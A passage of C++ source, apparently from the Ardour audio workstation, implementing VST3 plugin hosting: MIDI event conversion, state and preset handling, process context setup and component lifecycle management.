case Vst::Event::kNoteOffEvent:
data[0] = 0x80 | e.noteOff.channel;
data[1] = e.noteOff.pitch;
data[2] = vst_to_midi (e.noteOff.velocity);
mb.push_back (e.sampleOffset, Evoral::MIDI_EVENT, 3, data);
break;
case Vst::Event::kNoteOnEvent:
data[0] = 0x90 | e.noteOn.channel;
data[1] = e.noteOn.pitch;
data[2] = vst_to_midi (e.noteOn.velocity);
mb.push_back (e.sampleOffset, Evoral::MIDI_EVENT, 3, data);
break;
case Vst::Event::kPolyPressureEvent:
data[0] = 0xa0 | e.noteOff.channel;
data[1] = e.polyPressure.pitch;
data[2] = vst_to_midi (e.polyPressure.pressure);
mb.push_back (e.sampleOffset, Evoral::MIDI_EVENT, 3, data);
break;
case Vst::Event::kLegacyMIDICCOutEvent:
switch (e.midiCCOut.controlNumber) {
case Vst::kCtrlPolyPressure:
data[0] = 0x0a | e.midiCCOut.channel;
data[1] = e.midiCCOut.value;
data[2] = e.midiCCOut.value2;
break;
default: /* Control Change */
data[0] = 0xb0 | e.midiCCOut.channel;
data[1] = e.midiCCOut.controlNumber;
data[2] = e.midiCCOut.value;
break;
case Vst::kCtrlProgramChange:
data[0] = 0x0c | e.midiCCOut.channel;
data[1] = e.midiCCOut.value;
data[2] = e.midiCCOut.value2;
break;
case Vst::kAfterTouch:
data[0] = 0x0d | e.midiCCOut.channel;
data[1] = e.midiCCOut.value;
data[2] = e.midiCCOut.value2;
break;
case Vst::kPitchBend:
data[0] = 0x0e | e.midiCCOut.channel;
data[1] = e.midiCCOut.value;
data[2] = e.midiCCOut.value2;
break;
}
mb.push_back (e.sampleOffset, Evoral::MIDI_EVENT, e.midiCCOut.controlNumber == Vst::kCtrlProgramChange ? 2 : 3, data);
break;
case Vst::Event::kNoteExpressionValueEvent:
case Vst::Event::kNoteExpressionTextEvent:
case Vst::Event::kChordEvent:
case Vst::Event::kScaleEvent:
default:
/* unsupported, unhandled event */
break;
}
}
}
/* ****************************************************************************/
void
VST3Plugin::add_state (XMLNode* root) const
{
XMLNode *child;
for (uint32_t i = 0; i < parameter_count (); ++i) {
if (!_plug->parameter_is_automatable (i)) {
continue;
}
child = new XMLNode("Port");
child->set_property("id", (uint32_t) _plug->index_to_id(i));
child->set_property("value", _plug->get_parameter (i));
root->add_child_nocopy (*child);
}
RAMStream stream;
if (_plug->save_state (stream)) {
gchar* data = g_base64_encode (stream.data (), stream.size ());
if (data == 0) {
return;
}
XMLNode* chunk_node = new XMLNode (X_("chunk"));
chunk_node->add_content (data);
g_free (data);
root->add_child_nocopy (*chunk_node);
}
}
int
VST3Plugin::set_state (const XMLNode& node, int version)
{
XMLNodeConstIterator iter;
if (node.name() != state_node_name()) {
error << string_compose (_("VST3<%1>: Bad node sent to VST3Plugin::set_state"), name ()) << endmsg;
return -1;
}
XMLNodeList nodes = node.children ("Port");
for (iter = nodes.begin(); iter != nodes.end(); ++iter) {
XMLNode* child = *iter;
uint32_t param_id;
float value;
if (!child->get_property ("id", param_id)) {
warning << string_compose (_("VST3<%1>: Missing parameter-id in VST3Plugin::set_state"), name ()) << endmsg;
continue;
}
if (!child->get_property ("value", value)) {
warning << string_compose (_("VST3<%1>: Missing parameter value in VST3Plugin::set_state"), name ()) << endmsg;
continue;
}
if (!_plug->try_set_parameter_by_id ( param_id, value)) {
warning << string_compose (_("VST3<%1>: Invalid Vst::ParamID in VST3Plugin::set_state"), name ()) << endmsg;
}
}
XMLNode* chunk;
if ((chunk = find_named_node (node, X_("chunk"))) != 0) {
for (iter = chunk->children ().begin(); iter != chunk->children ().end(); ++iter) {
if ((*iter)->is_content ()) {
gsize size = 0;
guchar* _data = g_base64_decode ((*iter)->content().c_str(), &size);
RAMStream stream (_data, size);
if (!_plug->load_state (stream)) {
error << string_compose (_("VST3<%1>: failed to load chunk-data"), name ()) << endmsg;
}
}
}
}
return Plugin::set_state (node, version);
}
/* ****************************************************************************/
int
VST3Plugin::set_block_size (pframes_t n_samples)
{
_plug->set_block_size (n_samples);
return 0;
}
samplecnt_t
VST3Plugin::plugin_latency () const
{
return _plug->plugin_latency ();
}
bool
VST3Plugin::configure_io (ChanCount in, ChanCount out)
{
return Plugin::configure_io (in, out);
}
int
VST3Plugin::connect_and_run (BufferSet& bufs,
samplepos_t start, samplepos_t end, double speed,
ChanMapping const& in_map, ChanMapping const& out_map,
pframes_t n_samples, samplecnt_t offset)
{
//DEBUG_TRACE(DEBUG::VST3, string_compose("%1 run %2 offset %3\n", name(), nframes, offset));
Plugin::connect_and_run (bufs, start, end, speed, in_map, out_map, n_samples, offset);
Vst::ProcessContext& context (_plug->context ());
/* clear event ports */
_plug->cycle_start();
context.state =
Vst::ProcessContext::kContTimeValid | Vst::ProcessContext::kSystemTimeValid | Vst::ProcessContext::kSmpteValid | Vst::ProcessContext::kProjectTimeMusicValid | Vst::ProcessContext::kBarPositionValid | Vst::ProcessContext::kTempoValid | Vst::ProcessContext::kTimeSigValid | Vst::ProcessContext::kClockValid;
context.projectTimeSamples = start;
context.continousTimeSamples = _engine.processed_samples ();
context.systemTime = g_get_monotonic_time ();
{
TempoMap const& tmap (_session.tempo_map ());
const Tempo& t (tmap.tempo_at_sample (start));
const MeterSection& ms (tmap.meter_section_at_sample (start));
context.tempo = t.quarter_notes_per_minute ();
context.timeSigNumerator = ms.divisions_per_bar ();
context.timeSigDenominator = ms.note_divisor ();
}
const double tcfps = _session.timecode_frames_per_second ();
context.frameRate.framesPerSecond = ceil (tcfps);
context.frameRate.flags = 0;
if (_session.timecode_drop_frames ()) {
context.frameRate.flags = Vst::FrameRate::kDropRate; /* 29.97 */
} else if (tcfps > context.frameRate.framesPerSecond) {
context.frameRate.flags = Vst::FrameRate::kPullDownRate; /* 23.976 etc */
}
if (_session.get_play_loop ()) {
Location* looploc = _session.locations ()->auto_loop_location ();
try {
/* loop start/end in quarter notes */
TempoMap const& tmap (_session.tempo_map ());
context.cycleStartMusic = tmap.quarter_note_at_sample_rt (looploc->start ());
context.cycleEndMusic = tmap.quarter_note_at_sample_rt (looploc->end ());
context.state |= Vst::ProcessContext::kCycleValid;
context.state |= Vst::ProcessContext::kCycleActive;
} catch (...) {
}
}
if (speed != 0) {
context.state |= Vst::ProcessContext::kPlaying;
}
if (_session.actively_recording ()) {
context.state |= Vst::ProcessContext::kRecording;
}
#if 0 // TODO
context.state |= Vst::ProcessContext::kClockValid;
context.samplesToNextClock = 0 // MIDI Clock Resolution (24 Per Quarter Note), can be negative (nearest);
#endif
ChanCount bufs_count;
bufs_count.set (DataType::AUDIO, 1);
bufs_count.set (DataType::MIDI, 1);
BufferSet& silent_bufs = _session.get_silent_buffers (bufs_count);
BufferSet& scratch_bufs = _session.get_scratch_buffers (bufs_count);
uint32_t n_bin = std::max<uint32_t> (1, _plug->n_audio_inputs ());
uint32_t n_bout = std::max<uint32_t> (1, _plug->n_audio_outputs ());
float** ins = (float**)alloca (n_bin * sizeof (float*));
float** outs = (float**)alloca (n_bout * sizeof (float*));
uint32_t in_index = 0;
for (int32_t i = 0; i < (int32_t)_plug->n_audio_inputs (); ++i) {
uint32_t index;
bool valid = false;
index = in_map.get (DataType::AUDIO, in_index++, &valid);
ins[i] = (valid)
? bufs.get_audio (index).data (offset)
: silent_bufs.get_audio (0).data (offset);
_connected_inputs[i] = valid;
}
uint32_t out_index = 0;
for (int32_t i = 0; i < (int32_t)_plug->n_audio_outputs (); ++i) {
uint32_t index;
bool valid = false;
index = out_map.get (DataType::AUDIO, out_index++, &valid);
outs[i] = (valid)
? bufs.get_audio (index).data (offset)
: scratch_bufs.get_audio (0).data (offset);
_connected_outputs[i] = valid;
}
in_index = 0;
for (int32_t i = 0; i < (int32_t)_plug->n_midi_inputs (); ++i) {
bool valid = false;
uint32_t index = in_map.get (DataType::MIDI, in_index++, &valid);
if (valid && bufs.count().n_midi() > index) {
for (MidiBuffer::iterator m = bufs.get_midi(index).begin(); m != bufs.get_midi(index).end(); ++m) {
const Evoral::Event<samplepos_t> ev (*m, false);
_plug->add_event (ev, i);
}
}
}
_plug->enable_io (_connected_inputs, _connected_outputs);
_plug->process (ins, outs, n_samples);
/* handle outgoing MIDI events */
if (_plug->n_midi_outputs () > 0 && bufs.count().n_midi() > 0) {
_plug->vst3_to_midi_buffers (bufs, out_map);
}
return 0;
}
/* ****************************************************************************/
bool
VST3Plugin::load_preset (PresetRecord r)
{
bool ok = false;
/* Extract the UUID of this preset from the URI */
std::vector<std::string> tmp;
if (!PBD::tokenize (r.uri, std::string(":"), std::back_inserter (tmp))) {
return false;
}
if (tmp.size() != 3) {
return false;
}
std::string const& unique_id = tmp[1];
FUID fuid;
if (!fuid.fromString (unique_id.c_str()) || fuid != _plug->fuid ()) {
assert (0);
return false;
}
if (tmp[0] == "VST3-P") {
int program = PBD::atoi (tmp[2]);
assert (!r.user);
if (!_plug->set_program (program, 0)) {
#ifndef NDEBUG
std::cerr << "set_program failed\n";
#endif
return false;
}
ok = true;
} else if (tmp[0] == "VST3-S") {
if (_preset_uri_map.find (r.uri) == _preset_uri_map.end ()) {
/* build _preset_uri_map for replicated instances */
find_presets ();
}
assert (_preset_uri_map.find (r.uri) != _preset_uri_map.end ());
std::string const& fn = _preset_uri_map[r.uri];
if (Glib::file_test (fn, Glib::FILE_TEST_EXISTS)) {
RAMStream stream (fn);
ok = _plug->load_state (stream);
}
}
if (ok) {
Plugin::load_preset (r);
}
return ok;
}
std::string
VST3Plugin::do_save_preset (std::string name)
{
assert (!preset_search_path().empty ());
std::string dir = preset_search_path ().front ();
std::string fn = Glib::build_filename (dir, legalize_for_universal_path (name) + ".vstpreset");
if (g_mkdir_with_parents (dir.c_str (), 0775)) {
error << string_compose (_("Could not create VST3 Preset Folder '%1'"), dir) << endmsg;
}
RAMStream stream;
if (_plug->save_state (stream)) {
GError* err = NULL;
if (!g_file_set_contents (fn.c_str (), (const gchar*) stream.data (), stream.size (), &err)) {
::g_unlink (fn.c_str ());
if (err) {
error << string_compose (_("Could not save VST3 Preset (%1)"), err->message) << endmsg;
g_error_free (err);
}
return "";
}
std::string uri = string_compose (X_("VST3-S:%1:%2"), unique_id (), PBD::basename_nosuffix (fn));
_preset_uri_map[uri] = fn;
return uri;
}
return "";
}
void
VST3Plugin::do_remove_preset (std::string name)
{
assert (!preset_search_path().empty ());
std::string dir = preset_search_path ().front ();
std::string fn = Glib::build_filename (dir, legalize_for_universal_path (name) + ".vstpreset");
::g_unlink (fn.c_str ());
std::string uri = string_compose (X_("VST3-S:%1:%2"), unique_id (), PBD::basename_nosuffix (fn));
if (_preset_uri_map.find (uri) != _preset_uri_map.end ()) {
_preset_uri_map.erase (_preset_uri_map.find (uri));
}
}
static bool vst3_preset_filter (const std::string& str, void*)
{
return str[0] != '.' && (str.length() > 9 && str.find (".vstpreset") == (str.length() - 10));
}
void
VST3Plugin::find_presets ()
{
_presets.clear ();
_preset_uri_map.clear ();
/* read vst3UnitPrograms */
Vst::IUnitInfo* nfo = _plug->unit_info ();
if (nfo && _plug->program_change_port ().id != Vst::kNoParamId) {
Vst::UnitID program_unit_id = _plug->program_change_port().unitId;
int32 unit_count = nfo->getUnitCount ();
for (int32 idx = 0; idx < unit_count; ++idx) {
Vst::UnitInfo unit_info;
if (!(nfo->getUnitInfo (idx, unit_info) == kResultOk && unit_info.id == program_unit_id)) {
continue;
}
int32 count = nfo->getProgramListCount();
for (int32 i = 0; i < count; ++i) {
Vst::ProgramListInfo pli;
if (nfo->getProgramListInfo(i, pli) != kResultTrue) {
continue;
}
if (pli.id != unit_info.programListId) {
continue;
}
for (int32 j = 0; j < pli.programCount; ++j) {
Vst::String128 pname;
if (nfo->getProgramName (pli.id, j, pname) == kResultTrue) {
std::string preset_name = tchar_to_utf8 (pname);
if (preset_name.empty ()) {
warning << string_compose (_("VST3<%1>: ignored unnamed factory preset/program"), name ()) << endmsg;
continue;
}
std::string uri = string_compose (X_("VST3-P:%1:%2"), unique_id (), std::setw(4), std::setfill('0'), j);
PresetRecord r (uri , preset_name, false);
_presets.insert (make_pair (uri, r));
}
if (nfo->hasProgramPitchNames (pli.id, j)) {
// TODO -> midnam
}
}
break; // only one program list
}
break; // only one unit
}
}
if (_presets.empty () && _plug->program_change_port ().id != Vst::kNoParamId) {
/* fill in presets by number */
Vst::ParameterInfo const& pi (_plug->program_change_port ());
int32 n_programs = pi.stepCount + 1;
for (int32 i = 0; i < n_programs; ++i) {
float value = static_cast<Vst::ParamValue> (i) / static_cast<Vst::ParamValue> (pi.stepCount);
std::string preset_name = _plug->print_parameter (pi.id, value);
if (!preset_name.empty ()) {
std::string uri = string_compose (X_("VST3-P:%1:%2"), unique_id (), std::setw(4), std::setfill('0'), i);
PresetRecord r (uri , preset_name, false);
_presets.insert (make_pair (uri, r));
}
}
}
_plug->set_n_factory_presets (_presets.size ());
// TODO check _plug->unit_data()
// IUnitData: programDataSupported -> setUnitProgramData (IBStream)
PBD::Searchpath psp = preset_search_path ();
std::vector<std::string> preset_files;
find_paths_matching_filter (preset_files, psp, vst3_preset_filter, 0, false, true, false);
for (std::vector<std::string>::iterator i = preset_files.begin(); i != preset_files.end (); ++i) {
bool is_user = PBD::path_is_within (psp.front(), *i);
std::string preset_name = PBD::basename_nosuffix (*i);
std::string uri = string_compose (X_("VST3-S:%1:%2"), unique_id (), preset_name);
if (_presets.find (uri) != _presets.end ()) {
continue;
}
PresetRecord r (uri, preset_name, is_user);
_presets.insert (make_pair (uri, r));
_preset_uri_map[uri] = *i;
}
}
PBD::Searchpath
VST3Plugin::preset_search_path () const
{
boost::shared_ptr<VST3PluginInfo> nfo = boost::dynamic_pointer_cast<VST3PluginInfo> (get_info ());
PBD::Searchpath preset_path;
std::string vendor = legalize_for_universal_path (nfo->creator);
std::string name = legalize_for_universal_path (nfo->name);
/* first listed is used to save custom user-presets */
#ifdef __APPLE__
preset_path += Glib::build_filename (Glib::get_home_dir(), "Library/Audio/Presets", vendor, name);
preset_path += Glib::build_filename ("/Library/Audio/Presets", vendor, name);
#elif defined PLATFORM_WINDOWS
std::string documents = PBD::get_win_special_folder_path (CSIDL_PERSONAL);
if (!documents.empty ()) {
preset_path += Glib::build_filename (documents, "VST3 Presets", vendor, name);
preset_path += Glib::build_filename (documents, "vst3 presets", vendor, name);
}
preset_path += Glib::build_filename (Glib::get_user_data_dir(), "VST3 Presets", vendor, name);
std::string appdata = PBD::get_win_special_folder_path (CSIDL_APPDATA);
if (!appdata.empty ()) {
preset_path += Glib::build_filename (appdata, "VST3 Presets", vendor, name);
preset_path += Glib::build_filename (appdata, "vst3 presets", vendor, name);
}
#else
preset_path += Glib::build_filename (Glib::get_home_dir(), ".vst3", "presets", vendor, name);
preset_path += Glib::build_filename ("/usr/share/vst3/presets", vendor, name);
preset_path += Glib::build_filename ("/usr/local/share/vst3/presets", vendor, name);
#endif
return preset_path;
}
/* ****************************************************************************/
VST3PluginInfo::VST3PluginInfo ()
{
type = ARDOUR::VST3;
}
PluginPtr
VST3PluginInfo::load (Session& session)
{
try {
if (!m) {
#ifndef NDEBUG
printf ("Loading %s\n", path.c_str ());
#endif
m = VST3PluginModule::load (path);
#ifndef NDEBUG
printf ("Loaded module\n");
#endif
}
PluginPtr plugin;
Steinberg::VST3PI* plug = new VST3PI (m, unique_id);
plugin.reset (new VST3Plugin (session.engine (), session, plug));
plugin->set_info (PluginInfoPtr (new VST3PluginInfo (*this)));
return plugin;
} catch (failed_constructor& err) {
;
}
return PluginPtr ();
}
std::vector<Plugin::PresetRecord>
VST3PluginInfo::get_presets (bool /*user_only*/) const
{
std::vector<Plugin::PresetRecord> p;
return p;
}
bool
VST3PluginInfo::is_instrument () const
{
if (category.find (Vst::PlugType::kInstrument) != std::string::npos) {
return true;
}
return PluginInfo::is_instrument ();
}
/* ****************************************************************************/
VST3PI::VST3PI (boost::shared_ptr<ARDOUR::VST3PluginModule> m, std::string unique_id)
: _module (m)
, _factory (0)
, _component (0)
, _controller (0)
, _view (0)
#if SMTG_OS_LINUX
, _run_loop (0)
#endif
, _is_processing (false)
, _block_size (0)
, _port_id_bypass (UINT32_MAX)
, _n_factory_presets (0)
{
using namespace std;
GetFactoryProc fp = (GetFactoryProc)m->fn_ptr ("GetPluginFactory");
if (!fp) {
throw failed_constructor ();
}
if (!(_factory = fp ())) {
throw failed_constructor ();
}
if (!_fuid.fromString (unique_id.c_str ())) {
throw failed_constructor ();
}
if (_factory->createInstance (_fuid.toTUID (), Vst::IComponent::iid, (void**)&_component) != kResultTrue) {
throw failed_constructor ();
}
if (_component->initialize (HostApplication::getHostContext ()) != kResultOk) {
throw failed_constructor ();
}
_controller = FUnknownPtr<Vst::IEditController> (_component);
if (!_controller) {
TUID controllerCID;
if (_component->getControllerClassId (controllerCID) == kResultTrue) {
if (_factory->createInstance (controllerCID, Vst::IEditController::iid, (void**)&_controller) != kResultTrue) {
throw failed_constructor ();
}
if (_controller && (_controller->initialize (HostApplication::getHostContext ()) != kResultOk)) {
throw failed_constructor ();
}
}
}
if (!_controller) {
_component->terminate ();
_component->release ();
throw failed_constructor ();
}
if (_controller->setComponentHandler (this) != kResultOk) {
_component->terminate ();
_component->release ();
throw failed_constructor ();
}
if (!(_processor = FUnknownPtr<Vst::IAudioProcessor> (_component))) {
_component->terminate ();
_component->release ();
throw failed_constructor ();
}
/* prepare process context */
memset (&_context, 0, sizeof (Vst::ProcessContext));
/* do not re-order, _io_name is build in sequence */
_n_inputs = count_channels (Vst::kAudio, Vst::kInput, Vst::kMain);
_n_aux_inputs = count_channels (Vst::kAudio, Vst::kInput, Vst::kAux);
_n_outputs = count_channels (Vst::kAudio, Vst::kOutput, Vst::kMain);
_n_aux_outputs = count_channels (Vst::kAudio, Vst::kOutput, Vst::kAux);
_n_midi_inputs = count_channels (Vst::kEvent, Vst::kInput, Vst::kMain);
_n_midi_outputs = count_channels (Vst::kEvent, Vst::kOutput, Vst::kMain);
if (!connect_components ()) {
//_controller->terminate(); // XXX ?
_component->terminate ();
_component->release ();
throw failed_constructor ();
}
memset (&_program_change_port, 0, sizeof (_program_change_port));
_program_change_port.id = Vst::kNoParamId;
int32 n_params = _controller->getParameterCount ();
for (int32 i = 0; i < n_params; ++i) {
Vst::ParameterInfo pi;
if (_controller->getParameterInfo (i, pi) != kResultTrue) {
continue;
}
if (pi.flags & Vst::ParameterInfo::kIsProgramChange) {
_program_change_port = pi;
continue;
}
if (0 == (pi.flags & Vst::ParameterInfo::kCanAutomate)) {
/* but allow read-only, not automatable params (ctrl outputs) */
if (0 == (pi.flags & Vst::ParameterInfo::kIsReadOnly)) {
continue;
}
}
if (tchar_to_utf8 (pi.title).find("MIDI CC ") != std::string::npos) {
/* Some JUCE plugins add 16 * 128 automatable MIDI CC parameters */
continue;
}
Param p;
p.id = pi.id;
p.label = tchar_to_utf8 (pi.title).c_str ();
p.unit = tchar_to_utf8 (pi.units).c_str ();
p.steps = pi.stepCount;
p.normal = pi.defaultNormalizedValue;
p.is_enum = 0 != (pi.flags & Vst::ParameterInfo::kIsList);
p.read_only = 0 != (pi.flags & Vst::ParameterInfo::kIsReadOnly);
p.automatable = 0 != (pi.flags & Vst::ParameterInfo::kCanAutomate);
uint32_t idx = _ctrl_params.size ();
_ctrl_params.push_back (p);
if (pi.flags & Vst::ParameterInfo::kIsBypass) {
_port_id_bypass = idx;
}
_ctrl_id_index[pi.id] = idx;
_ctrl_index_id[idx] = pi.id;
_shadow_data.push_back (p.normal);
_update_ctrl.push_back (false);
}
_input_param_changes.set_n_params (n_params);
_output_param_changes.set_n_params (n_params);
synchronize_states ();
/* enable all MIDI busses */
int32 n_bus_in = _component->getBusCount (Vst::kEvent, Vst::kInput);
int32 n_bus_out = _component->getBusCount (Vst::kEvent, Vst::kOutput);
for (int32 i = 0; i < n_bus_in; ++i) {
_component->activateBus (Vst::kEvent, Vst::kInput, i, true);
}
for (int32 i = 0; i < n_bus_out; ++i) {
_component->activateBus (Vst::kEvent, Vst::kOutput, i, true);
}
}
VST3PI::~VST3PI ()
{
terminate ();
}
Vst::IUnitInfo*
VST3PI::unit_info ()
{
Vst::IUnitInfo* nfo = FUnknownPtr<Vst::IUnitInfo>(_component);
if (nfo) {
return nfo;
}
return FUnknownPtr<Vst::IUnitInfo>(_controller);
}
#if 0
Vst::IUnitData*
VST3PI::unit_data ()
{
Vst::IUnitData* iud = FUnknownPtr<Vst::IUnitData> (_component);
if (iud) {
return iud;
}
return FUnknownPtr<Vst::IUnitData> (_controller);
}
#endif
void
VST3PI::terminate ()
{
deactivate ();
_processor = 0;
disconnect_components ();
bool controller_is_component = false;
if (_component) {
controller_is_component = FUnknownPtr<Vst::IEditController> (_component) != 0;
_component->terminate ();
}
if (_controller) {
_controller->setComponentHandler (0);
}
if (_controller && controller_is_component == false) {
_controller->terminate ();
}
_component->release ();
if (_factory) {
_factory->release ();
}
_controller = 0;
_component = 0;
_factory = 0;
}
bool
VST3PI::connect_components ()
{
if (!_component || !_controller) {
return false;
}
FUnknownPtr<Vst::IConnectionPoint> componentCP (_component);
FUnknownPtr<Vst::IConnectionPoint> controllerCP (_controller);
if (!componentCP || !controllerCP) {
return true;
}
tresult res = componentCP->connect (this);
if (!(res == kResultOk || res == kNotImplemented)) {
return false;
}
res = controllerCP->connect (this);
if (!(res == kResultOk || res == kNotImplemented)) {
#ifndef NDEBUG
std::cerr << "VST3: Cannot connect controller, ignored.\n";
#endif
}
return true;
}
bool
VST3PI::disconnect_components ()
{
FUnknownPtr<Vst::IConnectionPoint> componentCP (_component);
FUnknownPtr<Vst::IConnectionPoint> controllerCP (_controller);
if (!componentCP || !controllerCP) {
return false;
}
bool res = componentCP->disconnect (this);
res &= controllerCP->disconnect (this);
return res;
}
tresult
VST3PI::connect (Vst::IConnectionPoint* other)
{
if (!other) {
return kInvalidArgument;
}
_connections.push_back (other);
return kResultTrue;
}
tresult
VST3PI::disconnect (Vst::IConnectionPoint* other)
{
std::vector <Vst::IConnectionPoint*>::iterator i = std::find (_connections.begin(), _connections.end(), other);
if (i != _connections.end()) {
_connections.erase (i);
return kResultTrue;
}
return kInvalidArgument;
}
tresult
VST3PI::notify (Vst::IMessage* msg)
{
#ifndef NDEBUG
std::cerr << "VST3PI::notify\n";
#endif
for (std::vector <Vst::IConnectionPoint*>::const_iterator i = _connections.begin(); i != _connections.end(); ++i) {
/* TODO delegate to GUI thread if available
* see ./libs/pbd/pbd/event_loop.h ir->call_slot ()
* and HostMessage()
*/
(*i)->notify (msg);
}
FUnknownPtr<Vst::IConnectionPoint> componentCP (_component);
FUnknownPtr<Vst::IConnectionPoint> controllerCP (_controller);
if (componentCP) {
componentCP->notify (msg);
}
if (controllerCP) {
controllerCP->notify (msg);
}
return kResultTrue;
}
tresult
VST3PI::queryInterface (const TUID _iid, void** obj)
{
QUERY_INTERFACE (_iid, obj, FUnknown::iid, Vst::IComponentHandler)
QUERY_INTERFACE (_iid, obj, Vst::IComponentHandler::iid, Vst::IComponentHandler)
QUERY_INTERFACE (_iid, obj, FUnknown::iid, Vst::IComponentHandler2)
QUERY_INTERFACE (_iid, obj, Vst::IComponentHandler2::iid, Vst::IComponentHandler2)
#if SMTG_OS_LINUX
if (_run_loop && FUnknownPrivate::iidEqual (_iid, Linux::IRunLoop::iid)) {
*obj = _run_loop;
return kResultOk;
}
#endif
*obj = nullptr;
return kNoInterface;
}
tresult
VST3PI::restartComponent (int32 flags)
{
#ifndef NDEBUG
printf ("VST3PI::restartComponent %x\n", flags);
#endif
if (flags & Vst::kReloadComponent) {
return kNotImplemented;
}
if (flags & Vst::kIoChanged) {
return kNotImplemented;
}
if (flags & Vst::kParamValuesChanged) {
update_shadow_data ();
}
if (flags & Vst::kLatencyChanged) {
/* need to re-activate the plugin as per spec */
deactivate ();
activate ();
_plugin_latency.reset ();
}
return kResultOk;
}
tresult
VST3PI::performEdit (Vst::ParamID id, Vst::ParamValue v)
{
std::map<Vst::ParamID, uint32_t>::const_iterator idx = _ctrl_id_index.find (id);
if (idx != _ctrl_id_index.end()) {
float value = v;
_shadow_data[idx->second] = value;
_update_ctrl[idx->second] = true;
set_parameter_internal (id, value, 0, true);
value = _controller->normalizedParamToPlain (id, value);
OnParameterChange (ValueChange, idx->second, v); /* EMIT SIGNAL */
}
return kResultOk;
}
tresult
VST3PI::beginEdit (Vst::ParamID id)
{
std::map<Vst::ParamID, uint32_t>::const_iterator idx = _ctrl_id_index.find (id);
if (idx != _ctrl_id_index.end()) {
OnParameterChange (BeginGesture, idx->second, 0); /* EMIT SIGNAL */
}
return kResultOk;
}
tresult
VST3PI::endEdit (Vst::ParamID id)
{
std::map<Vst::ParamID, uint32_t>::const_iterator idx = _ctrl_id_index.find (id);
if (idx != _ctrl_id_index.end()) {
OnParameterChange (EndGesture, idx->second, 0); /* EMIT SIGNAL */
}
return kResultOk;
}
tresult
VST3PI::setDirty (TBool state)
{
if (state) {
OnParameterChange (InternalChange, 0, 0); /* EMIT SIGNAL */
}
return kResultOk;
}
tresult
VST3PI::requestOpenEditor (FIDString name)
{
if (name == Vst::ViewType::kEditor) {
/* TODO get plugin-insert (first plugin only, not replicated ones)
* call pi->ShowUI ();
*/
}
return kNotImplemented;
}
tresult
VST3PI::startGroupEdit ()
{
/* TODO:
* remember current time, update StartTouch API
* to allow passing a timestamp to PluginInsert::start_touch
* replacing .audible_sample()
*/
return kNotImplemented;
}
tresult
VST3PI::finishGroupEdit ()
{
return kNotImplemented;
}
bool
VST3PI::deactivate ()
{
if (!_is_processing) {
return true;
}
tresult res = _processor->setProcessing (false);
if (!(res == kResultOk || res == kNotImplemented)) {
return false;
}
res = _component->setActive (false);
if (!(res == kResultOk || res == kNotImplemented)) {
return false;
}
_is_processing = false;
return true;
}
bool
VST3PI::activate ()
{
if (_is_processing) {
return true;
}
tresult res = _component->setActive (true);
if (!(res == kResultOk || res == kNotImplemented)) {
return false;
}
res = _processor->setProcessing (true);
if (!(res == kResultOk || res == kNotImplemented)) {
return false;
}
_is_processing = true;
return true;
}
bool
VST3PI::update_processor ()
{
bool was_active = _is_processing;
if (!deactivate ()) {
return false;
}
Vst::ProcessSetup setup;
setup.processMode = AudioEngine::instance()->freewheeling () ? Vst::kOffline : Vst::kRealtime;
setup.symbolicSampleSize = Vst::kSample32;
setup.maxSamplesPerBlock = _block_size;
setup.sampleRate = _context.sampleRate;
if (_processor->setupProcessing (setup) != kResultOk) {
return false;
}
if (was_active) {
return activate ();
}
return true;
}
uint32_t
VST3PI::plugin_latency ()
{
if (!_plugin_latency) {
_plugin_latency = _processor->getLatencySamples ();
}
return _plugin_latency.value ();
}
int32
VST3PI::count_channels (Vst::MediaType media, Vst::BusDirection dir, Vst::BusType type)
{
/* see also libs/ardour/vst3_scan.cc count_channels */
int32 n_busses = _component->getBusCount (media, dir);
int32 n_channels = 0;
for (int32 i = 0; i < n_busses; ++i) {
Vst::BusInfo bus;
if (_component->getBusInfo (media, dir, i, bus) == kResultTrue && bus.busType == type) {
#if 1
if ((type == Vst::kMain && i != 0) || (type == Vst::kAux && i != 1)) {
/* For now allow we only support one main bus, and one aux-bus.
* Also an aux-bus by itself is currently N/A.
*/
continue;
}
#endif
std::string bus_name = tchar_to_utf8 (bus.name);
bool is_sidechain = (type == Vst::kAux) && (dir == Vst::kInput);
if (media == Vst::kEvent) {
#if 0
/* Supported MIDI Channel count (for a single MIDI input) */
if (bus.channelCount > 0) {
_io_name[media][dir].push_back (Plugin::IOPortDescription (bus_name, is_sidechain));
}
return std::min<int32> (1, bus.channelCount);
#else
/* Some plugin leave it at zero, even though they accept events */
_io_name[media][dir].push_back (Plugin::IOPortDescription (bus_name, is_sidechain));
return 1;
#endif
} else {
for (int32_t j = 0; j < bus.channelCount; ++j) {
std::string channel_name;
if (bus.channelCount > 1) {
channel_name = string_compose ("%1 %2", bus_name, j + 1);
} else {
channel_name = bus_name;
}
_io_name[media][dir].push_back (Plugin::IOPortDescription (channel_name, is_sidechain, bus_name, j));
}
n_channels += bus.channelCount;
}
}
}
return n_channels;
}
Vst::ParamID
VST3PI::index_to_id (uint32_t p) const
{
assert (_ctrl_index_id.find (p) != _ctrl_index_id.end());
return (_ctrl_index_id.find (p))->second;
}
bool
VST3PI::set_block_size (int32_t n_samples)
{
if (_block_size == n_samples) {
return true;
}
_block_size = n_samples;
return update_processor ();
}
float
VST3PI::default_value (uint32_t port) const
{
Vst::ParamID id (index_to_id (port));
return _controller->normalizedParamToPlain (id, _ctrl_params[port].normal);
}
void
VST3PI::get_parameter_descriptor (uint32_t port, ParameterDescriptor& desc) const
{
Param const& p (_ctrl_params[port]);
Vst::ParamID id (index_to_id (port));
desc.lower = _controller->normalizedParamToPlain (id, 0.f);
desc.upper = _controller->normalizedParamToPlain (id, 1.f);
desc.normal = _controller->normalizedParamToPlain (id, p.normal);
desc.toggled = 1 == p.steps;
desc.logarithmic = false;
desc.integer_step = p.steps > 1 ? p.steps : 0;
desc.sr_dependent = false;
desc.enumeration = p.is_enum;
desc.label = p.label;
if (p.unit == "dB") {
desc.unit = ARDOUR::ParameterDescriptor::DB;
} else if (p.unit == "Hz") {
desc.unit = ARDOUR::ParameterDescriptor::HZ;
}
}
std::string
VST3PI::print_parameter (uint32_t port) const
{
Vst::ParamID id (index_to_id (port));
return print_parameter (id, _shadow_data[port]);
}
std::string
VST3PI::print_parameter (Vst::ParamID id, Vst::ParamValue value) const
{
Vst::String128 rv;
if (_controller->getParamStringByValue (id, value, rv) == kResultOk) {
return tchar_to_utf8 (rv);
}
return "";
}
uint32_t
VST3PI::n_audio_inputs () const
{
return _n_inputs + _n_aux_inputs;
}
uint32_t
VST3PI::n_audio_outputs () const
{
return _n_outputs + _n_aux_outputs;
}
uint32_t
VST3PI::n_midi_inputs () const
{
